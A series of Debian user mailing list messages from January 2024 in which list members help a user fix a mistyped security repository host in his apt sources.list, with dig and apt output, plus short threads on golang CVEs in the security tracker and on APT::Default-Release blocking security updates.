;; QUESTION SECTION:
;ftp.security-debian.org.   IN  A

;; ANSWER SECTION:
ftp.security-debian.org. 3296   IN  CNAME   security-debian.org.
security-debian.org.3089IN  A   57.128.81.193

;; Query time: 0 msec
;; SERVER: 192.168.1.2#53(192.168.1.2) (UDP)
;; WHEN: Thu Jan 18 12:03:08 CST 2024
;; MSG SIZE  rcvd: 101

toncho/~ 22 dig @8.8.8.8 ftp.security-debian.org

; <<>> DiG 9.19.19-1-Debian <<>> @8.8.8.8 ftp.security-debian.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42376
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;ftp.security-debian.org.   IN  A

;; ANSWER SECTION:
ftp.security-debian.org. 3600   IN  CNAME   security-debian.org.
security-debian.org.3600IN  A   57.128.81.193

;; Query time: 308 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Thu Jan 18 12:03:42 CST 2024
;; MSG SIZE  rcvd: 82

toncho/~ 22 dig @8.8.8.8 security-debian.org

; <<>> DiG 9.19.19-1-Debian <<>> @8.8.8.8 security-debian.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13855
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;security-debian.org.   IN  A

;; ANSWER SECTION:
security-debian.org.3600IN  A   57.128.81.193

;; Query time: 284 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Thu Jan 18 12:05:00 CST 2024
;; MSG SIZE  rcvd: 64




-- 
John Hasler 
j...@sugarbit.com
Elmwood, WI USA



Re: No Release file for Security Update

2024-01-18 Thread Tixy
On Thu, 2024-01-18 at 10:48 -0500, Thomas George wrote:
> On 1/17/24 20:52, Greg Wooledge wrote:
> > On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:
> > > deb http://ftp.security-debian.org/debian-security/ bookworm-security main
> > > non-free non-free-firmware
> > Stop guessing, and *read* what you were told to use.
> > 
> > https://lists.debian.org/debian-user/2024/01/msg00778.html
> > 
> >  Your source is incorrect. The security repo is at
> >  "http://security.debian.org/debian-security;;.
> > 
> > There are other lines that also work, but you can't just guess randomly
> > until you stumble across one.  Read a trusted source, and copy what
> > they tell you to use.  Don't put "ftp." in front of things that don't
> > need it.
> I typed the above line exactly. apt-get update searches for 
> security.debian.org:80 [57.128.81.193] and times out, no connection

Where could your machine be getting this IP address from?
It's the same IP address shown in your output when you used the
incorrect address 'ftp.security.debian.org' and for me that doesn't
resolve to any IP address.

-- 
Tixy



Re: No Release file for Security Update

2024-01-18 Thread John Hasler
Host gives me the same result.  However, apt says:

 0% [Connecting to security-debian.org (57.128.81.193)]

and times out.

Using "nameserver 8.8.8.8" changes nothing. 
-- 
John Hasler 
j...@sugarbit.com
Elmwood, WI USA



Re: No Release file for Security Update

2024-01-18 Thread John Hasler
Thomas George wrote:
> I typed the above line exactly. apt-get update searches for
> security.debian.org:80 [57.128.81.193] and times out, no connection

Gene writes:
> And that is not the address I get from here

It's the one I get from here, and it times out.  My DNS is working.

-- 
John Hasler 
j...@sugarbit.com
Elmwood, WI USA



Re: No Release file for Security Update SOLVED

2024-01-18 Thread Thomas George

  New sources.list file works perfectly

deb http://deb.debian.org/debian/ bookworm main non-free-firmware 
contrib non-free
deb-src http://deb.debian.org/debian/ bookworm main non-free-firmware 
contrib non-free


deb http://deb.debian.org/debian/ bookworm-updates main 
non-free-firmware contrib non-free
deb-src http://deb.debian.org/debian/ bookworm-updates main 
non-free-firmware contrib non-free


deb http://security.debian.org/debian-security bookworm-security main 
non-free-firmware contrib non-free
deb-src http://security.debian.org/debian-security bookworm-security 
main non-free-firmware contrib non-free


Tom George


Thomas George wrote:
My system is Bookworm installed from the first DVD which was 
downloaded with the checksums and successfully checked.


I commented out the dvd and added to sources.list lines for bookworm, 
bookworm-updates and bookworm-security.


Ran apt-get update

The result was  bookworm InRelease, bookworm-updates InRelease, 
bookworm-secutity Relesse 404 Not Found [IP: 146.75.30.132 80]


Reading package lists Done

bookwoom-security Release does not have a Release file.

How do I fix this?





Re: No Release file for Security Update

2024-01-18 Thread Thomas George



On 1/17/24 22:54, Todd Zullinger wrote:

Greg Wooledge wrote:

On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:

deb http://ftp.security-debian.org/debian-security/ bookworm-security main
non-free non-free-firmware

Stop guessing, and *read* what you were told to use.

https://lists.debian.org/debian-user/2024/01/msg00778.html

 Your source is incorrect. The security repo is at
 "http://security.debian.org/debian-security;;.

There are other lines that also work, but you can't just guess randomly
until you stumble across one.  Read a trusted source, and copy what
they tell you to use.  Don't put "ftp." in front of things that don't
need it.

https://wiki.debian.org/SourcesList is also a good resource
with numerous examples.

Yes thank you. I have copied all the lines from the wiki example and 
they all work perfectly.  This is my new sources.list file


deb http://deb.debian.org/debian/ bookworm main non-free-firmware 
contrib non-free
deb-src http://deb.debian.org/debian/ bookworm main non-free-firmware 
contrib non-free


deb http://deb.debian.org/debian/ bookworm-updates main 
non-free-firmware contrib non-free
deb-src http://deb.debian.org/debian/ bookworm-updates main 
non-free-firmware contrib non-free


deb http://security.debian.org/debian-security bookworm-security main 
non-free-firmware contrib non-free
deb-src http://security.debian.org/debian-security bookworm-security 
main non-free-firmware contrib non-free




Re: No Release file for Security Update

2024-01-18 Thread Greg Wooledge
On Thu, Jan 18, 2024 at 10:59:34AM -0500, gene heskett wrote:
> And that is not the address I get from here
> ping -c1 security.debian.org
> PING security.debian.org (151.101.2.132) 56(84) bytes of data.
> 64 bytes from 151.101.2.132 (151.101.2.132): icmp_seq=1 ttl=59 time=15.8 ms
> 
> Your dns isn't working?

It's more complicated than that.

unicorn:~$ host security.debian.org
security.debian.org has address 151.101.2.132
security.debian.org has address 151.101.130.132
security.debian.org has address 151.101.194.132
security.debian.org has address 151.101.66.132
security.debian.org has IPv6 address 2a04:4e42:400::644
security.debian.org has IPv6 address 2a04:4e42:600::644
security.debian.org has IPv6 address 2a04:4e42:200::644
security.debian.org has IPv6 address 2a04:4e42::644
security.debian.org mail is handled by 10 mitropoulos.debian.org.
security.debian.org mail is handled by 10 mailly.debian.org.
security.debian.org mail is handled by 10 muffat.debian.org.

It's a round robin with 4 IPv4 and 4 IPv6 addresses.  (You can ignore
the mail server lines.)



Re: No Release file for Security Update

2024-01-18 Thread gene heskett

On 1/18/24 10:49, Thomas George wrote:


On 1/17/24 20:52, Greg Wooledge wrote:

On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:
deb http://ftp.security-debian.org/debian-security/ bookworm-security 
main

non-free non-free-firmware

Stop guessing, and *read* what you were told to use.

https://lists.debian.org/debian-user/2024/01/msg00778.html

 Your source is incorrect. The security repo is at
 "http://security.debian.org/debian-security;;.

There are other lines that also work, but you can't just guess randomly
until you stumble across one.  Read a trusted source, and copy what
they tell you to use.  Don't put "ftp." in front of things that don't
need it.
I typed the above line exactly. apt-get update searches for 
security.debian.org:80 [57.128.81.193] and times out, no connection


.

And that is not the address I get from here
ping -c1 security.debian.org
PING security.debian.org (151.101.2.132) 56(84) bytes of data.
64 bytes from 151.101.2.132 (151.101.2.132): icmp_seq=1 ttl=59 time=15.8 ms

Your dns isn't working?

Cheers, Gene Heskett.
--
"There are four boxes to be used in defense of liberty:
 soap, ballot, jury, and ammo. Please use in that order."
-Ed Howdershelt (Author, 1940)
If we desire respect for the law, we must first make the law respectable.
 - Louis D. Brandeis



Re: No Release file for Security Update

2024-01-18 Thread gene heskett

On 1/18/24 10:49, Thomas George wrote:


On 1/17/24 20:52, Greg Wooledge wrote:

On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:
deb http://ftp.security-debian.org/debian-security/ bookworm-security 
main

non-free non-free-firmware

Stop guessing, and *read* what you were told to use.

https://lists.debian.org/debian-user/2024/01/msg00778.html

 Your source is incorrect. The security repo is at
 "http://security.debian.org/debian-security;;.

There are other lines that also work, but you can't just guess randomly
until you stumble across one.  Read a trusted source, and copy what
they tell you to use.  Don't put "ftp." in front of things that don't
need it.
I typed the above line exactly. apt-get update searches for 
security.debian.org:80 [57.128.81.193] and times out, no connection



But, but it Just Works here.

.


Cheers, Gene Heskett.
--
"There are four boxes to be used in defense of liberty:
 soap, ballot, jury, and ammo. Please use in that order."
-Ed Howdershelt (Author, 1940)
If we desire respect for the law, we must first make the law respectable.
 - Louis D. Brandeis



Re: No Release file for Security Update

2024-01-18 Thread Thomas George



On 1/17/24 20:52, Greg Wooledge wrote:

On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:

deb http://ftp.security-debian.org/debian-security/ bookworm-security main
non-free non-free-firmware

Stop guessing, and *read* what you were told to use.

https://lists.debian.org/debian-user/2024/01/msg00778.html

 Your source is incorrect. The security repo is at
 "http://security.debian.org/debian-security;;.

There are other lines that also work, but you can't just guess randomly
until you stumble across one.  Read a trusted source, and copy what
they tell you to use.  Don't put "ftp." in front of things that don't
need it.
I typed the above line exactly. apt-get update searches for 
security.debian.org:80 [57.128.81.193] and times out, no connection




update of bookworm-security failed Formerly Re: No Release file for Security Update

2024-01-18 Thread Thomas George



On 1/17/24 20:40, Thomas George wrote:


On 1/17/24 19:05, Greg Wooledge wrote:

On Wed, Jan 17, 2024 at 11:31:52AM -0500, Thomas George wrote:

# deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD
Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmware

This one, before you commented it out, only contained non-free-firmware
and *not* non-free.  They are two different sections.

deb http://ftp.debian.org/debian/ bookworm main non-free 
non-free-firmware

Here, someone has added non-free.  If that's not what you want, you
can remove that.  You should *keep* non-free-firmware, though.

Also, if you don't want to use plain http, you can change this to https.


deb http://ftp.debian.org/debian/ bookworm-security  main non-free
non-free-firmware

This one is incorrect, but someone else already addressed that one.
Be sure you actually follow their instructions correctly.  The
hostnames security.debian.org and ftp.security.debian.org are not
the same.


I have tried many permutations of the last line in this sources.list

# deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD 
Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmware


deb http://ftp.debian.org/debian/ bookworm main non-free 
non-free-firmware


deb http://ftp.debian.org/debian/ bookworm-updates main non-free 
non-free-firmware


# deb http://ftp.debian.org/debian/ bookworm-backports main non-free 
non-free-firmware


deb http://ftp.security-debian.org/debian-security/ bookworm-security 
main non-free non-free-firmware


None have worked perfectly, apt-get update gives this

root@Phoenix:/etc/apt# apt-get update
Hit:1 http://ftp.debian.org/debian bookworm InRelease
Hit:2 http://ftp.debian.org/debian bookworm-updates InRelease
Hit:3 https://linux.brostrend.com stable InRelease
Ign:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
Ign:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
Ign:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
Err:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
  Could not connect to ftp.security-debian.org:80 (57.128.81.193), 
connection timed out

Reading package lists... Done
W: Failed to fetch 
http://ftp.security-debian.org/debian-security/dists/bookworm-security/InRelease 
Could not connect to ftp.security-debian.org:80 (57.128.81.193), 
connection timed out
W: Some index files failed to download. They have been ignored, or old 
ones used instead.

root@Phoenix:/etc/apt# vi sources.list





Re: No Release file for Security Update

2024-01-17 Thread Charles Curley
On Wed, 17 Jan 2024 11:31:52 -0500
Thomas George  wrote:

> # deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD 
> Binary-1 with firmware 20231007-10:29]/ bookworm main
> non-free-firmware
> 
> deb http://ftp.debian.org/debian/ bookworm main non-free
> non-free-firmware
> 
> deb http://ftp.debian.org/debian/ bookworm-updates main non-free 
> non-free-firmware
> 
> # deb http://ftp.debian.org/debian/ bookworm-backports main non-free 
> non-free-firmware
> 
> deb http://ftp.debian.org/debian/ bookworm-security  main non-free 
> non-free-firmware
> sources.list (END)

The first thing I'll suggest is that you replace
http://ftp.debian.org/debian/ with http://deb.debian.org/debian

More to the point, the security URL I have is
http://security.debian.org/debian-security

> 
> 
> root@Phoenix:/etc/apt# apt-get update
> Hit:1 http://ftp.debian.org/debian bookworm InRelease
> Hit:2 http://ftp.debian.org/debian bookworm-updates InRelease
> Ign:3 http://ftp.debian.org/debian bookworm-security InRelease
> Hit:4 https://linux.brostrend.com stable InRelease
> Err:5 http://ftp.debian.org/debian bookworm-security Release
>    404  Not Found [IP: 151.101.

I'm guessing that that brostrend line came from something in
/etc/apt/sources.d. Sometimes renaming those is a useful debugging
trick.

For more information, see man 5 sources.list.

-- 
Does anybody read signatures any more?

https://charlescurley.com
https://charlescurley.com/blog/



Re: No Release file for Security Update

2024-01-17 Thread Todd Zullinger
Greg Wooledge wrote:
> On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:
>> deb http://ftp.security-debian.org/debian-security/ bookworm-security main
>> non-free non-free-firmware
> 
> Stop guessing, and *read* what you were told to use.
> 
> https://lists.debian.org/debian-user/2024/01/msg00778.html
> 
>     Your source is incorrect. The security repo is at
> "http://security.debian.org/debian-security;;.
> 
> There are other lines that also work, but you can't just guess randomly
> until you stumble across one.  Read a trusted source, and copy what
> they tell you to use.  Don't put "ftp." in front of things that don't
> need it.

https://wiki.debian.org/SourcesList is also a good resource
with numerous examples.

-- 
Todd



Re: No Release file for Security Update

2024-01-17 Thread Greg Wooledge
On Wed, Jan 17, 2024 at 08:40:58PM -0500, Thomas George wrote:
> deb http://ftp.security-debian.org/debian-security/ bookworm-security main
> non-free non-free-firmware

Stop guessing, and *read* what you were told to use.

https://lists.debian.org/debian-user/2024/01/msg00778.html

Your source is incorrect. The security repo is at
"http://security.debian.org/debian-security;;.

There are other lines that also work, but you can't just guess randomly
until you stumble across one.  Read a trusted source, and copy what
they tell you to use.  Don't put "ftp." in front of things that don't
need it.



Re: No Release file for Security Update

2024-01-17 Thread Thomas George



On 1/17/24 19:05, Greg Wooledge wrote:

On Wed, Jan 17, 2024 at 11:31:52AM -0500, Thomas George wrote:

# deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD
Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmware

This one, before you commented it out, only contained non-free-firmware
and *not* non-free.  They are two different sections.


deb http://ftp.debian.org/debian/ bookworm main non-free non-free-firmware

Here, someone has added non-free.  If that's not what you want, you
can remove that.  You should *keep* non-free-firmware, though.

Also, if you don't want to use plain http, you can change this to https.


deb http://ftp.debian.org/debian/ bookworm-security  main non-free
non-free-firmware

This one is incorrect, but someone else already addressed that one.
Be sure you actually follow their instructions correctly.  The
hostnames security.debian.org and ftp.security.debian.org are not
the same.


I have tried many permutations of the last line in this sources.list

# deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD 
Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmware


deb http://ftp.debian.org/debian/ bookworm main non-free non-free-firmware

deb http://ftp.debian.org/debian/ bookworm-updates main non-free 
non-free-firmware


# deb http://ftp.debian.org/debian/ bookworm-backports main non-free 
non-free-firmware


deb http://ftp.security-debian.org/debian-security/ bookworm-security 
main non-free non-free-firmware


None have worked perfectly, apt-get update gives this

root@Phoenix:/etc/apt# apt-get update
Hit:1 http://ftp.debian.org/debian bookworm InRelease
Hit:2 http://ftp.debian.org/debian bookworm-updates InRelease
Hit:3 https://linux.brostrend.com stable InRelease
Ign:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
Ign:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
Ign:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
Err:4 http://ftp.security-debian.org/debian-security bookworm-security 
InRelease
  Could not connect to ftp.security-debian.org:80 (57.128.81.193), 
connection timed out

Reading package lists... Done
W: Failed to fetch 
http://ftp.security-debian.org/debian-security/dists/bookworm-security/InRelease 
Could not connect to ftp.security-debian.org:80 (57.128.81.193), 
connection timed out
W: Some index files failed to download. They have been ignored, or old 
ones used instead.

root@Phoenix:/etc/apt# vi sources.list



Re: No Release file for Security Update

2024-01-17 Thread Greg Wooledge
On Wed, Jan 17, 2024 at 11:31:52AM -0500, Thomas George wrote:
> # deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD
> Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmware

This one, before you commented it out, only contained non-free-firmware
and *not* non-free.  They are two different sections.

> deb http://ftp.debian.org/debian/ bookworm main non-free non-free-firmware

Here, someone has added non-free.  If that's not what you want, you
can remove that.  You should *keep* non-free-firmware, though.

Also, if you don't want to use plain http, you can change this to https.

> deb http://ftp.debian.org/debian/ bookworm-security  main non-free
> non-free-firmware

This one is incorrect, but someone else already addressed that one.
Be sure you actually follow their instructions correctly.  The
hostnames security.debian.org and ftp.security.debian.org are not
the same.



Re: No Release file for Security Update

2024-01-17 Thread Thomas George



On 1/17/24 16:13, Tom Furie wrote:

Thomas George  writes:


deb http://ftp.debian.org/debian/ bookworm-security  main non-free
non-free-firmware
Err:5 http://ftp.debian.org/debian bookworm-security Release
    404  Not Found [IP: 151.101.

I entered you suggested line as

http://security.debian.org/debian-security

and apt-get update responded:

E: Malformed line 9 in source list /etc/apt/sources.list (type)
E: The list of sources could not be read.

Please keep replies on-list in future, for the benefit of anyone else
who might encounter a similar problem.

You still need the rest of the line, I only indicated the correct
URL. The full line should look like: (it might get wrapped but should
all be a single line)

http://security.debian.org/debian-security bookworm-security main non-free 
non-free-firmware

Cheers,
Tom


Still not right bur InRelease:

root@Phoenix:/etc/apt# apt-get update
Ign:1 http://ftp.security.debian.org/debian-security bookworm-secutity 
InRelease

Hit:2 http://ftp.debian.org/debian bookworm InRelease
Hit:3 http://ftp.debian.org/debian bookworm-updates InRelease
Hit:4 https://linux.brostrend.com stable InRelease
Ign:1 http://ftp.security.debian.org/debian-security bookworm-secutity 
InRelease
Ign:1 http://ftp.security.debian.org/debian-security bookworm-secutity 
InRelease
Err:1 http://ftp.security.debian.org/debian-security bookworm-secutity 
InRelease

  Could not resolve 'ftp.security.debian.org'
Reading package lists... Done
W: Failed to fetch 
http://ftp.security.debian.org/debian-security/dists/bookworm-secutity/InRelease 
Could not resolve 'ftp.security.debian.org'
W: Some index files failed to download. They have been ignored, or old 
ones used instead.


I tried leavin security.debian.org out of the line but that didn't work 
either




Re: No Release file for Security Update

2024-01-17 Thread Tom Furie
Thomas George  writes:

> deb http://ftp.debian.org/debian/ bookworm-security  main non-free
> non-free-firmware
> Err:5 http://ftp.debian.org/debian bookworm-security Release
>   404  Not Found [IP: 151.101.

Your source is incorrect. The security repo is at
"http://security.debian.org/debian-security;.



Re: No Release file for Security Update

2024-01-17 Thread Thomas George
# deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD 
Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmware


deb http://ftp.debian.org/debian/ bookworm main non-free non-free-firmware

deb http://ftp.debian.org/debian/ bookworm-updates main non-free 
non-free-firmware


# deb http://ftp.debian.org/debian/ bookworm-backports main non-free 
non-free-firmware


deb http://ftp.debian.org/debian/ bookworm-security  main non-free 
non-free-firmware

sources.list (END)


root@Phoenix:/etc/apt# apt-get update
Hit:1 http://ftp.debian.org/debian bookworm InRelease
Hit:2 http://ftp.debian.org/debian bookworm-updates InRelease
Ign:3 http://ftp.debian.org/debian bookworm-security InRelease
Hit:4 https://linux.brostrend.com stable InRelease
Err:5 http://ftp.debian.org/debian bookworm-security Release
  404  Not Found [IP: 151.101.



On 1/16/24 11:30, Thomas George wrote:
My system is Bookworm installed from the first DVD which was 
downloaded with the checksums and successfully checked.


I commented out the dvd and added to sources.list lines for bookworm, 
bookworm-updates and bookworm-security.


Ran apt-get update

The result was  bookworm InRelease, bookworm-updates InRelease, 
bookworm-secutity Relesse 404 Not Found [IP: 146.75.30.132 80]


Reading package lists Done

bookwoom-security Release does not have a Release file.

How do I fix this?





Re: No Release file for Security Update

2024-01-16 Thread Greg Wooledge
On Tue, Jan 16, 2024 at 05:48:27PM +0100, Marco Moock wrote:
> Am 16.01.2024 um 11:30:09 Uhr schrieb Thomas George:
> 
> > The result was  bookworm InRelease, bookworm-updates InRelease, 
> > bookworm-secutity Relesse 404 Not Found [IP: 146.75.30.132 80]
>  ^
> 
> There seems to be a typo!

Two of them, including "Relesse".  This makes it impossible to tell
whether the typos are in the sources.list file, or in the email, or
both.

This is why we ask that people *paste* information directly from their
terminal windows into the email they're writing.  It prevents errors
being added during transcription.



Re: No Release file for Security Update

2024-01-16 Thread Marco Moock
Am 16.01.2024 um 11:30:09 Uhr schrieb Thomas George:

> The result was  bookworm InRelease, bookworm-updates InRelease, 
> bookworm-secutity Relesse 404 Not Found [IP: 146.75.30.132 80]
   ^

There seems to be a typo!



Re: No Release file for Security Update

2024-01-16 Thread Greg Wooledge
On Tue, Jan 16, 2024 at 11:30:09AM -0500, Thomas George wrote:
> I commented out the dvd and added to sources.list lines for bookworm,
> bookworm-updates and bookworm-security.

What lines did you add?

> Ran apt-get update
> 
> The result was  bookworm InRelease, bookworm-updates InRelease,
> bookworm-secutity Relesse 404 Not Found [IP: 146.75.30.132 80]
> 
> Reading package lists Done
> 
> bookwoom-security Release does not have a Release file.
> 
> How do I fix this?

Either you added something incorrect, or your local mirror was in a
transitional state.  Wait a few minutes and try again.  If it still
doesn't work, show us what you have in your sources.list.



No Release file for Security Update

2024-01-16 Thread Thomas George
My system is Bookworm installed from the first DVD which was downloaded 
with the checksums and successfully checked.


I commented out the dvd and added to sources.list lines for bookworm, 
bookworm-updates and bookworm-security.


Ran apt-get update

The result was  bookworm InRelease, bookworm-updates InRelease, 
bookworm-secutity Relesse 404 Not Found [IP: 146.75.30.132 80]


Reading package lists Done

bookwoom-security Release does not have a Release file.

How do I fix this?



Re: Where to report CVEs missing from the security tracker ?

2024-01-09 Thread Sven Joachim
On 2024-01-09 16:57 +0100, Jorropo wrote:

> Hello, there are 6 CVEs on the golang-go package which are not on
> https://security-tracker.debian.org/tracker/status/release/stable

They are there, just not shown by default.  Toggle the "include issues
tagged no-dsa" checkbox to see them.

> I couldn't find them either there
> https://bugs.debian.org/cgi-bin/pkgreport.cgi?dist=unstable;package=golang-go

Not every CVE has a bug report in the Debian BTS, and there are multiple
golang versions packaged.

> The list is:
> - CVE-2023-29409 https://pkg.go.dev/vuln/GO-2023-1987
> - CVE-2023-29403 https://pkg.go.dev/vuln/GO-2023-1840
> - CVE-2023-29402 https://pkg.go.dev/vuln/GO-2023-1839
> - CVE-2023-39325 https://pkg.go.dev/vuln/GO-2023-2102
> - CVE-2023-39323 https://pkg.go.dev/vuln/GO-2023-2095
> - CVE-2023-39326 https://pkg.go.dev/vuln/GO-2023-2382
>
> This has been grabbed from the public golang vulnerability database
> searching for anything affecting 1.19.8 (what bookworm ships).
> I also checked that no patches have been backported by diffing the std
> from golang-go and the upstream 1.19.8 sources.

The CVEs are all in the security tracker for the golang-1.19 package:
https://security-tracker.debian.org/tracker/source-package/golang-1.19.

> Most of them could be fixed by updating to 1.19.12 however the 1.19
> branch is no longer supported. https://endoflife.date/go

It is up to the package maintainers to provide updates for stable or
not, and upgrading to a newer version might be risky.  Version 1.19.13
is in bookworm-backports, however.

Cheers,
   Sven



Where to report CVEs missing from the security tracker ?

2024-01-09 Thread Jorropo
Hello, there are 6 CVEs on the golang-go package which are not on
https://security-tracker.debian.org/tracker/status/release/stable

I couldn't find them either there
https://bugs.debian.org/cgi-bin/pkgreport.cgi?dist=unstable;package=golang-go

The list is:
- CVE-2023-29409 https://pkg.go.dev/vuln/GO-2023-1987
- CVE-2023-29403 https://pkg.go.dev/vuln/GO-2023-1840
- CVE-2023-29402 https://pkg.go.dev/vuln/GO-2023-1839
- CVE-2023-39325 https://pkg.go.dev/vuln/GO-2023-2102
- CVE-2023-39323 https://pkg.go.dev/vuln/GO-2023-2095
- CVE-2023-39326 https://pkg.go.dev/vuln/GO-2023-2382

This has been grabbed from the public golang vulnerability database
searching for anything affecting 1.19.8 (what bookworm ships).
I also checked that no patches have been backported by diffing the std
from golang-go and the upstream 1.19.8 sources.

Most of them could be fixed by updating to 1.19.12 however the 1.19
branch is no longer supported. https://endoflife.date/go



Re: APT preferring `stable` over `stable-security`

2023-12-26 Thread Max Nikulin

On 26/12/2023 23:23, Dan Ritter wrote:


https://wiki.debian.org/AptConfiguration#Be_careful_with_APT::Default-Release

(quoted entirely)


But omitting a couple of links to comments from developers that 
APT::Default-Release is deprecated.


A tool to debug issues with upgrades is

apt policy

that gives overview of configured repositories and their priority. When 
a specific package is known use


apt policy openssh-client




Re: APT preferring `stable` over `stable-security`

2023-12-26 Thread Stefan Monnier
>> What am I missing?
> https://wiki.debian.org/AptConfiguration#Be_careful_with_APT::Default-Release

Indeed!  Thank you!
Apparently the release notes didn't warn me loudly enough about it :-(


Stefan



Re: APT preferring `stable` over `stable-security`

2023-12-26 Thread Stefan Monnier
>> I take it this is bookworm. In that case, you also need:
>>
>> # bookworm-updates, to get updates before a point release is made;
>> # see 
>> https://www.debian.org/doc/manuals/debian-reference/ch02.en.html#_updates_and_backports
>> deb http://deb.debian.org/debian bookworm-updates main contrib non-free 
>> non-free-firmware
>> # deb-src http://deb.debian.org/debian bookworm-updates main contrib 
>> non-free non-free-firmware
>>
>> in your e/a/sources.list
>
> Oh, so that's what this new `stable-updates` was about?

Hmm... looks like it's not sufficient.
I added

deb http://deb.debian.org/debian stable-updates main

then did

apt update
apt upgrade

and it still didn't upgrade to `1:9.2p1-2+deb12u2`.
:-(


Stefan



Re: APT preferring `stable` over `stable-security`

2023-12-26 Thread Dan Ritter
Stefan Monnier wrote: 
> I noticed today that one of my machines was still running openssh
> 1:9.2p1-2+deb12u1 rather than  1:9.2p1-2+deb12u2 even though it is
> supposed to do its unattended-upgrades, so I tried a manual upgrade and
> the result was still the same.
> 
> Only after
> 
> apt install openssh-server/stable-security
> 
> did the machine get the new version :-(
> 
> The `sources.list` files says:
> 
>     deb http://security.debian.org/ stable-security main
> deb http://deb.debian.org/debian stable main
> 
> and the `apt.conf` says:
> 
> APT::Default-Release "stable";
> Aptitude::CmdLine::Show-Deps "true";
> APT::Periodic::Unattended-Upgrade "1";
> 
> Which I thought was the "normal" config (modulo the use of "stable"
> instead of "bookworm") where the `stable-security` would automatically
> take precedence when applicable.  But it looks like the
> `stable-security` repository is just not used at all!
> 
> What am I missing?

https://wiki.debian.org/AptConfiguration#Be_careful_with_APT::Default-Release

(quoted entirely)

Maybe you have noticed examples like setting APT::Default-Release "stable"; or 
APT::Default-Release "bookworm";. It prevents installing security updates by 
apt upgrade, so avoid it. Instead of increasing priority of the current 
release, consider setting lower priority of added repositories through 
#apt_preferences (APT pinning). Since Debian 11 bullseye the security 
repository is labeled as stable-security and e.g. bookworm-security, so at 
least use regular expression matching all primary suites

APT::Default-Release "/^bookworm(|-security|-updates)$/";

-dsr-



Re: APT preferring `stable` over `stable-security`

2023-12-26 Thread Stefan Monnier
>> The `sources.list` files says:
>> 
>> deb http://security.debian.org/ stable-security main
>> deb http://deb.debian.org/debian stable main
>
> I take it this is bookworm. In that case, you also need:
>
> # bookworm-updates, to get updates before a point release is made;
> # see 
> https://www.debian.org/doc/manuals/debian-reference/ch02.en.html#_updates_and_backports
> deb http://deb.debian.org/debian bookworm-updates main contrib non-free 
> non-free-firmware
> # deb-src http://deb.debian.org/debian bookworm-updates main contrib non-free 
> non-free-firmware
>
> in your e/a/sources.list

Oh, so that's what this new `stable-updates` was about?
But then what's the purpose of `stable-security` now?


Stefan



Re: APT preferring `stable` over `stable-security`

2023-12-26 Thread Charles Curley
On Tue, 26 Dec 2023 11:12:01 -0500
Stefan Monnier  wrote:

> The `sources.list` files says:
> 
> deb http://security.debian.org/ stable-security main
> deb http://deb.debian.org/debian stable main

I take it this is bookworm. In that case, you also need:

# bookworm-updates, to get updates before a point release is made;
# see 
https://www.debian.org/doc/manuals/debian-reference/ch02.en.html#_updates_and_backports
deb http://deb.debian.org/debian bookworm-updates main contrib non-free 
non-free-firmware
# deb-src http://deb.debian.org/debian bookworm-updates main contrib non-free 
non-free-firmware

in your e/a/sources.list

You may also want backports; see the article mentioned in the stanza
above.

-- 
Does anybody read signatures any more?

https://charlescurley.com
https://charlescurley.com/blog/



APT preferring `stable` over `stable-security`

2023-12-26 Thread Stefan Monnier
I noticed today that one of my machines was still running openssh
1:9.2p1-2+deb12u1 rather than  1:9.2p1-2+deb12u2 even though it is
supposed to do its unattended-upgrades, so I tried a manual upgrade and
the result was still the same.

Only after

apt install openssh-server/stable-security

did the machine get the new version :-(

The `sources.list` files says:

deb http://security.debian.org/ stable-security main
deb http://deb.debian.org/debian stable main

and the `apt.conf` says:

APT::Default-Release "stable";
Aptitude::CmdLine::Show-Deps "true";
APT::Periodic::Unattended-Upgrade "1";

Which I thought was the "normal" config (modulo the use of "stable"
instead of "bookworm") where the `stable-security` would automatically
take precedence when applicable.  But it looks like the
`stable-security` repository is just not used at all!

What am I missing?


Stefan



Re: Security vulnerability at curl package: CVE-2023-44487: HTTP/2 Rapid Reset

2023-11-28 Thread Phil Wyett
On Tue, 2023-11-28 at 08:56 +, Marold Marcus (DC-AE/ESW1) wrote:
> Hello,
